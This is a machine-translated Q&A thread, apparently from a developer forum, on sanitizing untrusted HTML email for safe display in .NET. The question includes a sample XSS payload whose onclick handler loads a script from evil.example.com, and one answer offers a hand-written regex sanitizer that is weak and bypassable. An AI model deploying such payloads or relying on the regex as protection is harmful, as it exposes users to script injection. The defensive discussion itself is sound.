Что я могу использовать для очистки полученного HTML с сохранением базового форматирования? - PullRequest
30 голосов
/ 30 декабря 2010

Это распространенная проблема, я надеюсь, что она была полностью решена для меня.

В системе, которую я делаю для клиента, мы хотим принимать HTML из ненадежных источников (электронная почта в формате HTML, а также файлы HTML), очищать его, чтобы в нем не было сценариев, ссылок на внешние ресурсы и другая безопасность / и т. д. проблемы; а затем отобразить его безопасно, не теряя при этом базового форматирования. Например, почти так же, как почтовый клиент сделал бы с электронной почтой в формате HTML, но в идеале без повторения 347 821 ошибок, которые были допущены (до сих пор) в этой области. : -)

Цель состоит в том, чтобы в конечном итоге получить что-то, что было бы удобно отображать внутренним пользователям через iframe в нашем собственном веб-интерфейсе или через класс WebBrowser в приложении .Net Windows Forms ( что, кажется, не безопаснее, возможно, не так) и т. д. Пример ниже.

Мы понимаем, что отчасти это может испортить отображение текста; ничего страшного.

Мы будем очищать HTML при получении и хранить очищенную версию (не беспокойтесь о части хранения & mdash; SQL-инъекция и тому подобное & mdash; у нас есть этот бит покрыт) * ​​1013 *.

Программное обеспечение должно будет работать на Windows Server. COM DLL или сборка .Net предпочтительнее. FOSS заметно предпочтительнее, но не нарушает условия сделки.

Что я нашел до сих пор:

  • Проект AntiSamy.Net (но, похоже, больше не находится в стадии активной разработки , более чем на год отстает от основного & mdash; и активного & mdash; * Проект AntiSamy Java ) .
  • Какой-то код от нашего собственного Джеффа Этвуда, около трех лет назад (оу, интересно, что он делал ...) .
  • HTML Agility Pack (используется в проекте AntiSamy.Net выше) , что даст мне надежный анализатор; тогда я мог бы реализовать свою собственную логику, чтобы пройтись по полученному DOM и отфильтровать все, что я не внес в белый список. Пакет ловкости выглядит действительно великолепно, но я бы полагался на свой собственный белый список, а не на повторное использование колеса, которое кто-то уже изобрел, так что это не так.
  • Библиотека Microsoft Anti-XSS

Что бы вы порекомендовали для этой задачи? Один из вышеперечисленных? Что-то еще?


Например, мы хотим удалить такие вещи, как:

  • script элементов
  • link, img и такие элементы, которые обращаются к внешним ресурсам (вероятно, замените img текстом «[изображение удалено]» или что-то подобное)
  • embed, object, applet, audio, video и другие теги, которые пытаются создать объекты
  • onclick и аналогичный код сценария обработчика событий DOM0
  • href s на a элементах, которые запускают код (даже ссылки, которые мы считаем нормальными, мы вполне можем превратить в открытый текст, который пользователи должны намеренно копировать и вставлять в браузер).
  • __________ (722 вещи, о которых я не задумывался, являются причиной, по которой я стремлюсь использовать то, что уже существует)

Так, например, этот HTML:

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>

станет

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>

(Обратите внимание, что мы полностью удалили link и onclick и заменили img заполнителем. Это всего лишь небольшая часть того, что, как мы полагаем, нам понадобится вырезать.)

Ответы [ 5 ]

3 голосов
/ 20 ноября 2014

Это более старый, но все еще актуальный вопрос.

Мы используем библиотеку HtmlSanitizer .Net, которая:

Также на NuGet

2 голосов
/ 30 декабря 2010

Я чувствую, что вам определенно понадобится парсер, который может сгенерировать исходный код XML / DOM, чтобы вы могли применить к нему подходящее средство для создания того, что вы ищете.

Посмотрите, могут ли помочь парсеры HtmlTidy или Mozilla или HtmlCleaner .HtmlCleaner имеет множество настраиваемых опций , которые вы также можете посмотреть.В частности, секция преобразования , которая позволяет пропускать ненужные теги.

1 голос
/ 02 января 2011

Я бы предложил использовать другой подход.Если вы контролируете метод просмотра HTML-кода, я бы удалил все угрозы с помощью HTML-рендера, в котором нет механизма сценариев ECMA или каких-либо возможностей XSS.Я вижу, что вы собираетесь использовать встроенный объект WebBrowser, и совершенно справедливо, что вы хотите создавать HTML, который нельзя использовать для атаки на ваших пользователей.

Я рекомендую поискать базовый механизм отображения HTML.Тот, который не может разобрать или понять любую из функций сценариев, которые сделали бы вас уязвимыми.Тогда весь javascript будет просто проигнорирован.

Однако у него есть другая проблема.Вам необходимо убедиться, что используемый вами просмотрщик не подвержен другим типам атак.

1 голос
/ 02 января 2011

Предлагаю посмотреть http://htmlpurifier.org/. Их библиотека довольно полная.

0 голосов
/ 27 мая 2012

Интересная проблема, я потратил некоторое время на ее решение, потому что есть много вещей, которые мы хотим удалить из пользовательского вклада, и даже если я сделаю длинный список вещей, которые нужно удалить, последние в HTML могут развиваться, и мой список будет есть дыры. Тем не менее я хочу, чтобы пользователи вводили некоторые простые вещи, такие как жирный шрифт, курсив, абзацы ... prety simple. Нет сомнений в том, что список разрешенных вещей короче, и html может изменить его на последний, что не сделает пробелы в моем списке, если html stop не поддерживает эти простые вещи. Поэтому начните думать иначе, просто скажите, что вы разрешаете, с большой болью, потому что я не эксперт по регулярным выражениям (поэтому, пожалуйста, некоторые регулярные выражения исправляют меня здесь или улучшают), я закодировал это выражение и его рабочую форму мне еще до появления HTML5. 1001 *

replace(/(?!<[/]?(b|i|p|br)(\s[^<]*>|[/]>|>))<[^>]*>/gi,"")

(b | i | p | br) <- это список разрешенных тегов, не стесняйтесь добавлять некоторые. </p>

это отправная точка, и поэтому некоторые люди с регулярными выражениями должны улучшить, чтобы удалить также атрибуты, такие как onclick

если я сделаю это:

(?!<[/]?(b|i|p|br)(\s*>|[/]>|>))<[^>]*>

теги с onclick или другим материалом будут удалены, но соответствующие закрывающие теги останутся, и после того, как мы не хотим, чтобы эти теги были удалены, мы просто хотим удалить атрибуты тега.

может быть, второй проход регулярного выражения с

(?!<[^<>\s]+)\s[^</>]+(?=[/>])

я прав? это может быть составлено в один проход?

у нас до сих пор нет связи между тегами (открытие / закрытие), до сих пор ничего особенного. Может ли атрибут удалить быть записать, чтобы удалить все не из белых списков? (возможно да).

последняя проблема .. при удалении тегов, таких как script содержимое остается, желательно при удалении font но не script , что ж, мы можем сделать первый пройти с

<(script|object|embed)[^>]*>.*</\1>

, который удалит определенные теги и их содержимое ... но это черный список, что означает, что вы должны следить за ним в случае изменения html.

примечание: все с "gi"

редактирование:

объединил все вышеперечисленное по этой функции

String.prototype.sanitizeHTML=function (white,black) {
   if (!white) white="b|i|p|br";//allowed tags
   if (!black) black="script|object|embed";//complete remove tags
   e=new RegExp("(<("+black+")[^>]*>.*</\\2>|(?!<[/]?("+white+")(\\s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>\\s]+)\\s[^</>]+(?=[/>]))", "gi");
   return this.replace(e,"");
}

-черный список -> полное удаление тега и содержимого -белый список -> сохранить теги другие теги удаляются, но содержимое тегов сохраняется все атрибуты тегов белого списка (оставшиеся) удалены

все еще есть место для белого списка атрибутов (не реализованного выше), потому что если я хочу сохранить IMG, тогда src должен остаться ... а как насчет отслеживания изображений?

...